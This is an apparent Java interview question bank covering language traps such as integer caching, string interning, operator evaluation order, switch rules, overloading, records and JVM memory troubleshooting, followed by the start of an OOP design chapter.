Q53 What does this print: `Integer a = 127, b = 127, c = 128, d = 128; System.out.println((a == b) + " " + (c == d));`? INTERMEDIATE

`true false`. Autoboxing uses `Integer.valueOf`, which caches values from -128 to 127, so `a` and `b` are the same object while `c` and `d` are different objects. Always compare boxed values with `equals`.

FOLLOW-UP TRAPS

- **Can the cache range change?** Yes, the upper bound via `-XX:AutoBoxCacheMax=<n>`.
- **What about `new Integer(127) == new Integer(127)`?** `false`; the constructor is deprecated for removal.

#integer-cache #equality

Q54 What does the string pool comparison with `==`, `new String` and `intern()` print? BASIC

Trace the code below.

```
String a = "hi";
String b = "hi";
String c = new String("hi");
System.out.println((a == b) + " " + (a == c) + " " + (a == c.intern()) + " " + a.equals(c));
```

`true false true true`. Both literals share one pooled instance, `new String` creates a distinct object, `intern()` returns the pooled instance, and `equals` compares content.

FOLLOW-UP TRAPS

- **How many String objects does `new String("hi")` create at most?** Two if `"hi"` was not yet in the pool (the literal and the copy), otherwise one.
- **Why not rely on `==` for strings?** It only works by accident of interning.

#string-pool #equality

Q55 Which of these comparisons is true? ADVANCED

Trace the code below.

```
final String f = "a";
String n = "a";
System.out.println(((f + "b") == "ab") + " " + ((n + "b") == "ab"));
```

`true false`. `f` is a constant variable, so `f + "b"` is a compile-time constant folded to the pooled `"ab"`. `n` is not final, so the concatenation runs at runtime and creates a new object.

FOLLOW-UP TRAPS

- **What if `final String f = getValue();`?** Not a constant variable; the result is `false`.
- **Does `n.concat("b").intern() == "ab"`?** `true`.

#string-pool #constant-folding

Q56 A service parses millions of CSV rows with many repeated values and is running out of heap. Would `String.intern()` help? ADVANCED

It can reduce duplicates but is usually the wrong tool. The JVM string table is a fixed-bucket native hash table; heavy interning adds contention and GC cost. Prefer a bounded application-level dedup map, or on G1 enable `-XX:+UseStringDeduplication`, which shares the backing arrays of duplicate strings in the background.

- Measure first with a heap histogram or a heap dump (duplicate strings view in MAT).
- Better still: parse into enums, ints or dictionary IDs.

FOLLOW-UP TRAPS

- **Does string deduplication merge `String` objects?** No, only their internal `byte[]`; identity stays distinct.
- **Is interned data ever collected?** Yes, since Java 7 pooled strings live on the heap and are collectable.

#string-pool #memory #g1

Q57 What does `i = i++` leave in `i`? BASIC

Trace the code below.

```
int i = 5;
i = i++;
System.out.println(i);
```

`5`. `i++` yields the old value 5 and increments `i` to 6, then the assignment overwrites `i` with the old value 5.

FOLLOW-UP TRAPS

- **And `int a = 1; a = a++ + ++a;` ?** `4` : `1 + 3`, with `a` ending as 4.
- **Does `i = ++i` differ?** Yes, it results in 6.

#operators #increment

Q58 Does `short s = 1; s += 1;` compile? What about `s = s + 1;`? INTERMEDIATE

`s += 1` compiles; `s = s + 1` does not. `s + 1` is an `int` and assigning to `short` needs a cast, while a compound assignment is defined as `s = (short) (s + 1)`.

```
short s = 1;
s += 1;          // ok, s == 2
// s = s + 1;    // error: incompatible types: possible lossy conversion from int to short
s = (short) (s + 1);
```

FOLLOW-UP TRAPS

- **Does `s += 1.9` compile?** Yes, with narrowing; `s` becomes `2` (the `double` sum 2.9 truncated).
- **What if `s` is `final short s = 1; short t = s + 1;` ?** Compiles; `s + 1` is a constant expression that fits.

#compound-assignment #casting

Q59 What does `System.out.println(0.1 + 0.2 == 0.3);` print and how should you compare doubles? BASIC

`false`; the sum is `0.30000000000000004`. Compare with a tolerance (`Math.abs(a - b) < 1e-9`) or use `BigDecimal` for exact decimals.

FOLLOW-UP TRAPS

- **Does `0.1 + 0.2 == 0.3` hold in `BigDecimal` ?** `new BigDecimal("0.1").add(new BigDecimal("0.2")).compareTo(new BigDecimal("0.3")) == 0` is true.
- **Is `Double.compare` the right fix?** No, it is an exact comparison with total ordering.

#floating-point #equality

Q60 What do these lines print? BASIC

Trace the code below.

```
System.out.println(Integer.MAX_VALUE + 1);
long l = 1_000_000 * 1_000_000;
System.out.println(l);
System.out.println(Integer.MAX_VALUE + 1L);
```

`-2147483648`, `-727379968`, `2147483648`. The multiplication of two `int` literals is done in 32-bit before widening to `long`, so it already overflowed; make one operand `long` (`1_000_000L`).

FOLLOW-UP TRAPS

- **How do you make overflow fail fast?** `Math.multiplyExact` throws `ArithmeticException`.
- **Is `l` correct if declared `long l = 1_000_000L * 1_000_000` ?** Yes, `1000000000000`.

#overflow #arithmetic

Q61 What do `char` arithmetic and concatenation print here? BASIC

Trace the code below.

```
char c = 'a';
System.out.println(c + 1);
System.out.println((char) (c + 1));
System.out.println("" + c + 1);
System.out.println('a' + 'b');
```

`98`, `b`, `a1`, `195`. Arithmetic promotes `char` to `int`; string concatenation uses the character itself.

FOLLOW-UP TRAPS

- **What does `char c = 'a'; c += 1;` do?** Compiles and yields `'b'`.
- **Does `char x = 65;` compile?** Yes, constant that fits; `x` is `'A'`.

#char #promotion

Q62 What does this print: `System.out.println(true ? 1 : 2.0);`? INTERMEDIATE

`1.0`. Binary numeric promotion makes the conditional's type `double`, so the chosen `1` is widened.

FOLLOW-UP TRAPS

- **What about `System.out.println(true ? 1 : 'a');`?** With a constant `int` that fits in `char`, the type is `char`, printing the char with code 1 (a control character).
- **What about `true ? (Object) 1 : 2.0`?** Prints `1`; the cast stops numeric promotion.

#ternary #promotion

Q63 Why does this throw a `NullPointerException`? INTERMEDIATE

Trace the code below.

```
Integer x = null;
boolean flag = false;
int y = flag ? 1 : x;
```

The operands are `int` and `Integer`, so the expression type is `int` and `x` is unboxed when the false branch is selected; `x.intValue()` on null throws. Fix by keeping the type boxed (`flag ? Integer.valueOf(1) : x`) or testing null explicitly.

FOLLOW-UP TRAPS

- **Would `flag ? 1 : null` throw?** No; the type is `Integer` and null is just assigned to an `Integer`. Assigning that to `int` would throw.
- **Does `Integer z = flag ? 1 : x;` throw?** Yes, same typing rule.

#ternary #unboxing #npe

Q64 What is the output order with static blocks, instance blocks and constructors? INTERMEDIATE

Trace the code below.

```
class Parent {
    static { System.out.println("P-static"); }
    { System.out.println("P-init"); }
    Parent() { System.out.println("P-ctor"); }
}
class Child extends Parent {
    static { System.out.println("C-static"); }
    { System.out.println("C-init"); }
    Child() { System.out.println("C-ctor"); }
}
// main: new Child(); new Child();
```

`P-static, C-static, P-init, P-ctor, C-init, C-ctor, P-init, P-ctor, C-init, C-ctor`. Static blocks run once, superclass first; each instance runs super initializers and constructor before the subclass ones.

FOLLOW-UP TRAPS

- **Does `Child.class` literal trigger `C-static`?** No, a class literal does not initialize the class.
- **What if `main` is in `Child`?** `P-static` and `C-static` print before `main` starts.

#initialization-order #static

Q65 What does `new B()` print, and why is it a bug risk? ADVANCED

Trace the code below.

```
class A {
    A() { show(); }
    void show() { }
}
class B extends A {
    int x = 5;
    void show() { System.out.println(x); }
}
```

`0`. `A`'s constructor runs before `B`'s field initializers, and the overridden `show` is dispatched virtually, so it sees the default value. Never call overridable methods from constructors.

FOLLOW-UP TRAPS

- **What if the field is `final int x = 5;`?** It prints `5`; a final field with a constant initializer is a constant variable inlined by the compiler.
- **What if it is `final int x; B() { x = 5; }`?** Still `0` at that point.

#initialization-order #polymorphism

Q66 What does `f()` return? INTERMEDIATE

Trace the code below.

```
static int f() {
    try { return 1; }
    finally { return 2; }
}
```

`2`. A `return` in `finally` overrides the earlier return and also discards any pending exception; compilers warn about it.

FOLLOW-UP TRAPS

- **What does `int x = 1; try { return x; } finally { x = 2; }` return?** `1`; the return value is saved before `finally` runs.
- **If `try` returns a mutable object and `finally` mutates it?** The caller sees the mutation, since the reference is the same.

#finally #exceptions

Q67 Does a `finally` block always run? INTERMEDIATE

Nearly always. It runs after normal completion, `return`, `break` or an exception. It does not run if the JVM exits (`System.exit`, `Runtime.halt`, crash, kill -9), or the thread is killed or hangs forever in `try`.

```
try { System.exit(0); } finally { System.out.println("never printed"); }
```

FOLLOW-UP TRAPS

- **If both `try` and `finally` throw?** The `finally` exception wins and the first is lost (try-with-resources keeps it as suppressed).
- **Do daemon threads run their `finally` on JVM shutdown?** Not guaranteed; they are abandoned.

#finally #exceptions

Q68 What does a classic switch with fall-through print for n = 2? BASIC

Trace the code below.

```
int n = 2;
switch (n) {
    case 1: System.out.print("one ");
    case 2: System.out.print("two ");
    case 3: System.out.print("three "); break;
    default: System.out.print("other ");
}
```

`two three` . Execution starts at `case 2` and falls through into `case 3` until `break` .

FOLLOW-UP TRAPS

- **What if `break` is removed from `case 3` ?** It also falls into `default` and prints `two three other` .
- **How does the arrow form change this?** `case 2 ->` never falls through.

#switch #fall-through

Q69 What is wrong with this code? INTERMEDIATE

Trace the code below.

```
String r = switch (day) {
    case 1, 7 -> "weekend";
    case 2, 3, 4, 5, 6 -> "weekday";
};
```

Compile error: the switch expression does not cover all possible input values. For `int` a `default` is mandatory; only enums and sealed types can be exhaustive without it.

FOLLOW-UP TRAPS

- **What if `day` is an enum covering all constants?** It compiles without `default` .
- **How do you return early from inside an arm block?** You cannot `return` ; use `yield` to produce the value.

#switch-expression #exhaustiveness

Q70 What happens with `switch` on a null `String` ? INTERMEDIATE

Trace the code below.

```
String s = null;
switch (s) { case "a": break; default: break; }
```

`NullPointerException` , since the classic switch calls `hashCode` / `equals` on the selector. Java 21 pattern switches allow `case null -> ...` to handle it explicitly.

```
String r = switch (s) {
    case null -> "none";
    case "a" -> "A";
    default -> "other";
};
```

FOLLOW-UP TRAPS

- **Does a pattern switch without `case null` still throw?** Yes, an NPE.
- **Can `case null, default ->` be combined?** Yes, in Java 21.

#switch #npe #java21

Q71 What happens when you remove elements inside a for-each loop? INTERMEDIATE

Trace the code below.

```
List<Integer> l = new ArrayList<>(List.of(1, 2, 3));
for (Integer i : l) if (i == 1) l.remove(i);
```

`ConcurrentModificationException` on the next `next()` call. With `if (i == 2)` instead it silently ends without error, because after removal `size == cursor` and `hasNext()` returns false. Use `removeIf` or `Iterator.remove`.

FOLLOW-UP TRAPS

- **Why does `l.remove(i)` remove by value here?** `i` is an `Integer`, so `remove(Object)` is chosen; with an `int` it would remove by index.
- **What if the list is `List.of(1,2,3)`?** `UnsupportedOperationException` on `remove`.

#collections #concurrent-modification

Q72 Will this swap work? BASIC

Trace the code below.

```
static void swap(int a, int b) { int t = a; a = b; b = t; }
// main: int x = 1, y = 2; swap(x, y); System.out.println(x + " " + y);
```

It prints `1 2`. The method swaps its own copies. The same applies to `Integer` parameters, since the references are copied.

FOLLOW-UP TRAPS

- **How can you swap two values then?** Return a pair, swap elements in an array/list, or use a mutable holder.
- **Does swapping array elements via `swap(int[] arr, i, j)` work?** Yes, because the shared array object is mutated.

#pass-by-value #methods

Q73 What does the caller see? BASIC

Trace the code below.

```
static void f(int[] a) { a[0] = 99; a = new int[]{7}; a[0] = 5; }
// main: int[] arr = {1, 2}; f(arr); System.out.println(arr[0]);
```

`99`. The first write goes through the shared reference; the reassignment affects only the local copy of the reference.

FOLLOW-UP TRAPS

- **Are arrays copied when passed?** No, only the reference.
- **Is `arr.clone()` a deep copy for `int[][]`?** No, it is shallow; the inner arrays are shared.

#pass-by-value #arrays

Q74 Why does the caller still see `"abc"`? BASIC

Trace the code below.

```
static void up(String s) { s.toUpperCase(); }
// main: String t = "abc"; up(t); System.out.println(t);
```

Strings are immutable: `toUpperCase()` returns a new string, which was discarded. Even `s = s.toUpperCase()` inside would only rebind the local parameter, so return the result and assign it in the caller.

FOLLOW-UP TRAPS

- **Would a `StringBuilder` parameter behave differently?** Yes, `sb.append` mutates the shared object.
- **Can IDEs warn about this?** Yes, as an ignored return value.

#string #immutability

Q75 What compiles and what fails? BASIC

Trace the code below.

```
final int[] a = {1, 2};
a[0] = 9;
a = new int[0];
```

`a[0] = 9` compiles and works; `a = new int[0]` fails with "cannot assign a value to final variable a". `final` freezes the reference, not the array contents.

FOLLOW-UP TRAPS

- **How to make the array contents read-only?** Wrap in `List.of` / `Collections.unmodifiableList` or return copies.
- **Is a `final` local without initializer legal?** Yes, if definitely assigned exactly once.

#final #arrays

Q76 Two threads each run `count++` 100,000 times on a `volatile int count`. What is the final value? INTERMEDIATE

Usually less than 200,000. `count++` is three steps (read, add, write); volatile gives visibility but not atomicity, so updates are lost. Use `AtomicInteger`, `LongAdder` under contention, or `synchronized`.

FOLLOW-UP TRAPS

- **Would `synchronized` on only the increment method fix it?** Yes, if all accesses use the same lock.
- **Is a volatile write-only counter safe with a single writer?** Yes, one writer thread plus volatile readers is a valid pattern.

#volatile #atomicity #concurrency

Q77 This worker thread sometimes never stops. Why? INTERMEDIATE

Trace the code below.

```
static boolean running = true;
// worker: while (running) { work(); }
// main:   Thread.sleep(100); running = false;
```

Without `volatile` there is no happens-before between the write and the worker's reads, so the JIT may hoist the read out of the loop and the worker never sees `false`. Declare the flag `volatile` (or use `AtomicBoolean`, or interruption).

FOLLOW-UP TRAPS

- **Does the bug show up in interpreter-only mode?** Often not, which makes it hard to reproduce; it appears after JIT compilation.
- **Would `System.out.println` in the loop mask it?** Yes, synchronization inside `println` accidentally establishes visibility.

#volatile #visibility #jmm

Q78 What are the field values after serializing and deserializing this object? BASIC

Trace the code below.

```
class User implements Serializable {
    String name = "ann";
    transient String password = "secret";
    transient int attempts = 3;
}
```

`name` is `"ann"`, `password` is `null`, `attempts` is `0`. Transient fields are skipped and get type defaults; field initializers do not run because the constructor of a `Serializable` class is not invoked.

FOLLOW-UP TRAPS

- **How can you restore `attempts` to 3?** Implement `readObject` or `readResolve`.
- **Is `static` state serialized?** No.

#transient #serialization

Q79 Does this throw a `NullPointerException`? INTERMEDIATE

Trace the code below.

```
class T { static void hi() { System.out.println("hi"); } }
// main: ((T) null).hi();
```

No, it prints `hi`. A static method is bound to the declared type at compile time; the null reference is never dereferenced (the expression is evaluated, then discarded). Call it as `T.hi()` to avoid confusion.

FOLLOW-UP TRAPS

- **What if `hi()` were an instance method?** `NullPointerException`.
- **Does the same hold for static fields?** Yes, `((T) null).staticField` reads the field.

#static #null

Q80 Which overload is called, and what if a third one is added? INTERMEDIATE

Trace the code below.

```
static void m(Object o) { System.out.println("Object"); }
static void m(String s) { System.out.println("String"); }
// m(null);
```

`String`, the most specific applicable overload. If you add `m(Integer i)`, `m(null)` fails to compile with "reference to m is ambiguous", since neither `String` nor `Integer` is more specific.

FOLLOW-UP TRAPS

- **How do you disambiguate?** Cast: `m((String) null)`.
- **What if the declared variable is `Object o = "x"; m(o);`?** `Object`; overloads use static types.

#overloading #null

Q81 Which overload runs for m(5) among long, Integer and varargs? ADVANCED

Trace the code below.

```
static void m(long x)    { System.out.println("long"); }
static void m(Integer x) { System.out.println("Integer"); }
static void m(int... x)  { System.out.println("varargs"); }
// m(5);
```

`long`. Resolution tries phase 1 (strict: widening, no boxing) first and `int` widens to `long`; boxing is phase 2 and varargs phase 3.

FOLLOW-UP TRAPS

- **What if `m(long)` is removed?** `Integer`.
- **What if both `m(Integer)` and `m(int...)` remain and the call is `m()`?** `varargs`, the only applicable one.

#overloading #boxing

Q82 What do field, static method and instance method access print through a parent reference? INTERMEDIATE

Trace the code below.

```
class A { String n = "A"; static String s() { return "A"; } String i() { return "A"; } }
class B extends A { String n = "B"; static String s() { return "B"; } String i() { return "B"; }
}
// A a = new B();
// System.out.println(a.n + a.s() + a.i());
```

`AAB`. Fields and static methods are resolved by the declared type (`A`), only the instance method `i()` is dispatched dynamically.

FOLLOW-UP TRAPS

- **Does `B.s()` override `A.s()`?** No, it hides it.
- **Does `@Override` on `s()` in `B` compile?** No, it is a compile error.

#polymorphism #static #hiding

Q83 Which of these `var` declarations compile? INTERMEDIATE

Trace the code below.

```
var a = 10;
var list = new ArrayList<>();
var n = null;
var arr = {1, 2};
var f = () -> 1;
```

Only the first two. `a` is `int`; `list` is `ArrayList<Object>`. `var n = null` has no inferable type, `var arr = {1, 2}` needs an explicit `int[]` or `new int[]{...}`, and a lambda has no target type.

FOLLOW-UP TRAPS

- **Can you then assign `a = "x"`?** No, the type is fixed as `int`.
- **What does `var x = cond ? 1 : "s";` infer?** An intersection type such as `Serializable & Comparable<...>`; usable but hard to read.

#var #type-inference

Q84 What does this print, and what does the record give you for free? INTERMEDIATE

Trace the code below.

```
record Person(String name, int age) {
    Person {
        if (age < 0) throw new IllegalArgumentException("age");
        name = name.trim();
    }
}
// var p = new Person(" Ann ", 30);
// System.out.println(p + " " + p.equals(new Person("Ann", 30)));
```

`Person[name=Ann, age=30] true`. The compact constructor normalizes the parameter before the generated field assignment, and generated `equals` compares all components.

FOLLOW-UP TRAPS

- **Can the compact constructor assign `this.name`?** No, assigning fields is only allowed in a canonical (explicit) constructor.
- **Is `p.getName()` available?** No, the accessor is `p.name()`.

#records #equals

Q85 A record holds a `List`. Is it safe to share? INTERMEDIATE

Trace the code below.

```
record Team(List<String> members) {}
var l = new ArrayList<String>(List.of("a"));
var t = new Team(l);
l.add("b");
System.out.println(t.members().size());
```

Prints `2`. Records are only shallowly immutable, so the caller's list is shared. Fix with a defensive copy in the compact constructor: `members = List.copyOf(members);`.

FOLLOW-UP TRAPS

- **Does `List.copyOf` always copy?** No, it returns the same instance if the input is already an immutable `List.of`-style list.
- **Does `copyOf` allow null elements?** No, it throws NPE.

#records #immutability

Q86 How long is the string produced by each text block? INTERMEDIATE

Trace the code below.

```
String a = """
    Hello
      World
    """;
String b = """
    Hello
      World""";
```

`a` is `"Hello\n World\n"` (length 14); `b` is `"Hello\n World"` (length 13). The closing delimiter's line participates in indentation stripping, and putting it on its own line adds the final newline.

FOLLOW-UP TRAPS

- **What if the closing `"""` is indented less than the content?** The extra indentation is retained in every line.
- **How do you keep trailing spaces?** Use `\s` or `\040`.

#text-blocks #strings

Q87 Production throws `OutOfMemoryError: Java heap space`. How do you diagnose it? INTERMEDIATE

Capture evidence, then find what retains memory. Start with `-XX:+HeapDumpOnOutOfMemoryError -XX:HeapDumpPath=...` and GC logs (`-Xlog:gc*`).

- Open the dump in Eclipse MAT or VisualVM; look at the dominator tree and "leak suspects".
- Distinguish a leak (old gen grows after every full GC) from a sizing problem (live set simply exceeds `-Xmx`).
- Use JFR allocation profiling to see where objects are created.
- Raising `-Xmx` is a stopgap, not a fix.

FOLLOW-UP TRAPS

- **What does `GC overhead limit exceeded` mean?** The JVM spent over 98% of time in GC reclaiming under 2%; it is the same class of problem.
- **Is OOM always heap?** No: Metaspace, direct memory, "unable to create native thread" and swap exhaustion are different.

#oom #heap #troubleshooting

Q88 Why does this crash with `StackOverflowError` and how do you fix it? BASIC

Trace the code below.

```
static int depth(int n) { return depth(n + 1); }
```

There is no base case, so frames pile up until the thread stack (`-Xss`) is exhausted. Add a terminating condition; for legitimately deep recursion convert it to an iterative loop with an explicit stack. Java does not perform tail-call optimization.

FOLLOW-UP TRAPS

- **Is `StackOverflowError` an `Exception`?** No, it is an `Error` (a `VirtualMachineError`).
- **Does increasing `-Xss` fix infinite recursion?** No, it only crashes later.

#stack #recursion

Q89 A Tomcat app throws `OutOfMemoryError: Metaspace` after several redeployments. Why? ADVANCED

Classloader leak. Each redeploy creates a new webapp class loader; if anything outside it still references one of its classes or the loader itself (a JDBC driver registered in `DriverManager`, a `ThreadLocal`, a thread started by the app, a static in a shared library), the whole loader and its classes stay in metaspace.

- Find it via a heap dump: look for multiple instances of the webapp class loader and their GC root path.
- Fix: deregister drivers, stop threads, clear `ThreadLocal`s on shutdown.

FOLLOW-UP TRAPS

- **Does `-XX:MaxMetaspaceSize` fix it?** It only makes the failure earlier and predictable.
- **Can generated proxies cause the same error without redeploys?** Yes, repeated dynamic class generation.

#metaspace #classloader #leak

Q90 This cache has no eviction. What goes wrong? INTERMEDIATE

Trace the code below.

```
static final Map<String, byte[]> CACHE = new HashMap<>();
static byte[] get(String k) { return CACHE.computeIfAbsent(k, Loader::load); }
```

A static map is reachable from a GC root, so entries are never collected; with unbounded keys the heap fills and ends in `OutOfMemoryError`. Use a bounded cache with eviction (Caffeine, size/time based), or soft/weak references where semantics fit. `HashMap` is also not thread-safe here.

FOLLOW-UP TRAPS

- **Does `WeakHashMap` solve it for String keys?** Not for literals or interned keys that stay strongly reachable.
- **Why is `ConcurrentHashMap.computeIfAbsent` still risky?** The loader runs under a bin lock; a slow or recursive load blocks others.

#memory-leak #static #cache

Q91 When does each object become eligible for GC? BASIC

Trace the code below.

```
Object a = new Object();
Object b = a;
a = null;
b = null;
```

After `a = null` the object is still reachable through `b`; after `b = null` there are no references and it becomes eligible (assuming no other path). Eligibility is not collection; the GC decides when to reclaim.

FOLLOW-UP TRAPS

- **What about two objects referencing each other with no outside references?** Both are eligible; Java uses tracing, not reference counting.
- **Does a JIT-compiled method keep a dead local alive?** No, liveness analysis may release it before the variable goes out of scope.

#gc #reachability

Q92 A container limited to 1 GB runs `java -Xmx1g -jar app.jar` and is killed (OOMKilled). Why? INTERMEDIATE

The heap alone can use the full 1 GB, and the JVM also needs metaspace, thread stacks, code cache, direct buffers and GC structures, so the process exceeds the cgroup limit and the kernel kills it. Leave headroom: `-XX:MaxRAMPercentage=60` to `75` (default is 25%), and cap `-XX:MaxMetaspaceSize` and `-Xss` where sensible.

FOLLOW-UP TRAPS

- **Does the JVM see the container limit?** Yes since Java 10 (8u191) with `UseContainerSupport` enabled by default.
- **Is Java OOM the same as OOMKilled?** No: OOMKilled is the OS killing the process, with no Java exception and no heap dump.

#containers #memory #jvm-flags

Q93 A hand-rolled benchmark shows the first call taking 50 ms and later calls 0.2 ms. What is happening? INTERMEDIATE

Class loading, interpretation and tiered JIT compilation. Early calls run in the interpreter, then C1, then C2-optimized code. Naive timing with `System.nanoTime` also suffers from dead-code elimination and constant folding. Use JMH, which handles warm-up, forks and `Blackhole`.

FOLLOW-UP TRAPS

- **Can you warm up in production?** Yes, with synthetic traffic at startup, CDS/AOT-style approaches or GraalVM native image (Project Leyden is in progress).
- **Does deoptimization reset the warm-up?** Yes, an invalidated assumption sends code back to the interpreter.

#jit #benchmarking #warmup

Q94 What do mixed integer and double division and remainder expressions print? BASIC

Trace the code below.

```
System.out.println(1 / 2 * 3.0);
System.out.println(3.0 * 1 / 2);
System.out.println(-5 / 2 + " " + -5 % 3 + " " + 5 % -3);
System.out.println(Math.floorMod(-5, 3));
```

`0.0`, `1.5`, `-2 -2 2`, `1`. Integer division truncates toward zero, evaluation is left to right so `1 / 2` is `0` before the double multiplication, and `%` takes the sign of the dividend; `floorMod` takes the sign of the divisor.

FOLLOW-UP TRAPS

- **What is `Math.floorDiv(-5, 2)`?** `-3`.
- **What identity links `/` and `%`?** `(a / b) * b + a % b == a`.

#arithmetic #division

Q95 What do integer and floating-point division by zero produce? BASIC

Trace the code below.

```
System.out.println(1 / 0);
System.out.println(1.0 / 0);
System.out.println(0.0 / 0);
System.out.println(5.0 % 0);
```

The first throws `ArithmeticException: / by zero` and nothing after it runs. Floating-point forms give `Infinity`, `NaN` and `NaN` respectively. Integer remainder by zero also throws.

FOLLOW-UP TRAPS

- **What is `-1.0 / 0`?** `-Infinity`.
- **What does `(int) Double.NaN` give?** `0`.

#arithmetic #floating-point

Q96 How do NaN and signed zero behave with `==` versus `equals`? ADVANCED

Trace the code below.

```
double nan = Double.NaN;
System.out.println(nan == nan);
System.out.println(Double.valueOf(nan).equals(nan));
System.out.println(0.0 == -0.0);
System.out.println(Double.valueOf(0.0).equals(-0.0));
```

`false`, `true`, `true`, `false`. Primitive `==` follows IEEE 754 (NaN is unequal to itself, `0.0` equals `-0.0`); `Double.equals` compares the bit patterns (canonicalized NaN), so it is consistent with `compare` and hash codes.

FOLLOW-UP TRAPS

- **How do you test for NaN?** `Double.isNaN(x)`.
- **What happens to a `NaN` key in a `HashMap<Double,?>`?** It works, because `equals` treats NaNs as equal.

#floating-point #equality

Q97 What do compound assignment and array-index evaluation order print? ADVANCED

Trace the code below.

```
int x = 5;
x += x++ * 2;
System.out.println(x);
int[] a = {0, 0};
int i = 0;
a[i] = i = 1;
System.out.println(Arrays.toString(a));
```

`15` and `[1, 0]`. Java evaluates left to right: `x += ...` saves the left value 5 first, `x++ * 2` is `5 * 2 = 10`, and the result `15` overwrites the incremented `x`. For the array, the index `a[i]` is evaluated first (`i` was 0), then the right side assigns `i = 1`, so element 0 gets `1`.

FOLLOW-UP TRAPS

- **Is evaluation order undefined as in C?** No, Java specifies operand evaluation left to right.
- **Does precedence determine evaluation order?** No, precedence only determines grouping.

#operators #evaluation-order

Q98 What do these shift expressions print? INTERMEDIATE

Trace the code below.

```
System.out.println(1 << 33);
System.out.println(-8 >> 1);
System.out.println(-8 >>> 28);
System.out.println(1L << 33);
```

`2`, `-4`, `15`, `8589934592`. The int shift distance is masked to 5 bits (`33 & 31 = 1`); `>>` keeps the sign; `-8` is `0xFFFFFFF8`, and a logical shift by 28 leaves `0xF`.

FOLLOW-UP TRAPS

- **What does `>>>` do on `byte b = -1; b >>>= 4;`?** `b` is promoted to `int` (`0xFFFFFFFF`), shifted to `0x0FFFFFFF`, and narrowed back to `byte` as `-1`.
- **How do you check whether `n` is a power of two?** `n > 0 && (n & (n - 1)) == 0`.

#bitwise #operators

Q99 What does mixing `Long` and `int` in `equals` and `contains` print? ADVANCED

Trace the code below.

```
Long l = 127L;
System.out.println(l.equals(127));
System.out.println(l.equals(127L));
System.out.println(l == 127);
Set<Long> s = new HashSet<>(List.of(1L));
System.out.println(s.contains(1));
```

`false`, `true`, `true`, `false`. `l.equals(127)` boxes to `Integer`, and `Long.equals` requires a `Long`; `l == 127` unboxes `l` and compares numerically; `contains(1)` boxes an `Integer`, so it never matches a `Long`.

FOLLOW-UP TRAPS

- **How to look up by a numeric `long` safely?** Use `1L`.
- **Do other collections suffer the same?** Yes, `Map<Long,?>.get(1)` returns null.

#autoboxing #equals

Q100 What does `Math.abs(Integer.MIN_VALUE)` return, and why does it break hash bucket code? ADVANCED

`-2147483648`, because `+2147483648` does not fit in an `int`. Code like `Math.abs(key.hashCode()) % n` can therefore produce a negative index for a hash of `Integer.MIN_VALUE`. Use `Math.floorMod(hash, n)` or `(hash & 0x7fffffff) % n`.

FOLLOW-UP TRAPS

- **Does `Math.absExact` exist?** Yes since Java 15; it throws `ArithmeticException` for this case.
- **What is `Integer.MIN_VALUE == -Integer.MIN_VALUE`?** `true`.

#overflow #math

Q101 What is the difference between `ClassNotFoundException` and `NoClassDefFoundError`? INTERMEDIATE

`ClassNotFoundException` is a checked exception thrown when explicit loading by name fails (`Class.forName`, `loadClass`). `NoClassDefFoundError` is an `Error` thrown when a class that was present at compile time cannot be found or initialized at runtime, such as a missing dependency jar or a failed static initializer earlier.

FOLLOW-UP TRAPS

- **Which one appears from a simple `new Foo()` when the jar is missing?** `NoClassDefFoundError`.
- **Is `NoSuchMethodError` the same class of problem?** Related: a binary-incompatible version of a dependency at runtime.

#class-loading #errors

Q102 What happens when a static initializer fails? ADVANCED

Trace the code below.

```
class Config { static final int V = 1 / Integer.parseInt("0"); }
// first use of Config.V, then second use
```

The first access throws `ExceptionInInitializerError` wrapping the `ArithmeticException`. The class is marked erroneous, so every later access throws `NoClassDefFoundError: Could not initialize class Config`, hiding the root cause that is only in the first stack trace.

FOLLOW-UP TRAPS

- **Is the initializer retried?** No, never within the same class loader.
- **Why is the first failure often missing from logs?** It may have been swallowed or logged far earlier; search logs for `ExceptionInInitializerError`.

#class-loading #initialization #errors

Q103 What do `Math.round` and narrowing casts give for edge values? INTERMEDIATE

Trace the code below.

```
System.out.println(Math.round(-2.5) + " " + Math.round(2.5));
System.out.println((int) 3.99 + " " + (int) -3.99);
System.out.println((int) 1e20 + " " + (int) Double.NaN);
```

`-2 3`, `3 -3`, `2147483647 0`. `Math.round` is `floor(x + 0.5)`, so ties go toward positive infinity; casting to `int` truncates toward zero and saturates out-of-range values, with `NaN` becoming `0`.

FOLLOW-UP TRAPS

- **What about `Math.rint(2.5)`?** `2.0`, round-half-even.
- **Does `(long) 1e20` saturate?** Yes, to `Long.MAX_VALUE`.

#casting #rounding

Q104 Why does `Math.round(x * 100) / 100` not give two decimals? INTERMEDIATE

Trace the code below.

```
double x = 2.567;
System.out.println(Math.round(x * 100) / 100);
```

It prints `3`. `Math.round(double)` returns a `long`, so dividing by `100` is integer division and truncates. Divide by `100.0` to get `2.57`, or better use `BigDecimal.setScale(2, RoundingMode.HALF_UP)` for money.

FOLLOW-UP TRAPS

- **What does `Math.round(float)` return?** An `int`.
- **Is `Math.round(2.675 * 100) / 100.0` reliable for decimals?** No; `2.675` is not exactly representable, so use `BigDecimal` from a string.

#rounding #integer-division

CORE JAVA · CHAPTER 2

OOPs (Design-Focused)

Four pillars, interfaces vs abstract classes, sealed types and records, overriding rules, init order, equals/hashCode, immutability, SOLID, nested classes, enums, generics and access control.

110 questions **37** basic **58** intermediate **15** advanced

Theory

Q1 What are the four pillars of OOP and how does Java realise each? BASIC

Encapsulation, abstraction, inheritance and polymorphism. Java realises them through access modifiers, interfaces/abstract classes, `extends` / `implements`, and virtual method dispatch.

- Encapsulation: private state plus controlled methods so invariants are enforced in one place.
- Abstraction: expose what an object does, hide how (interfaces, abstract classes).
- Inheritance: reuse and specialise via `extends` (single class inheritance only).
- Polymorphism: compile-time (overloading) and runtime (overriding, decided by the object's actual class).

FOLLOW-UP TRAPS

- **Are getters/setters on every field encapsulation?** No. That only exposes the state; real encapsulation protects invariants and hides representation.
- **Is overloading true polymorphism?** It is static (compile-time) dispatch; "subtype polymorphism" refers to overriding.

#pillars #fundamentals

Q2 Abstraction vs encapsulation: what is the actual difference? BASIC

Abstraction is a design-level decision about what to show (the contract); encapsulation is the implementation mechanism of hiding state and enforcing invariants behind that contract.

- A `PaymentGateway` interface is abstraction; its private HTTP client and retry state are encapsulation.

FOLLOW-UP TRAPS

- **Can you have one without the other?** Yes. A public-field class with an interface has abstraction but poor encapsulation.

#abstraction #encapsulation

Q3 When do you choose an abstract class over an interface? BASIC

Use an interface to define a capability or contract that unrelated classes can implement; use an abstract class when subclasses share state, constructors or a partially implemented template.
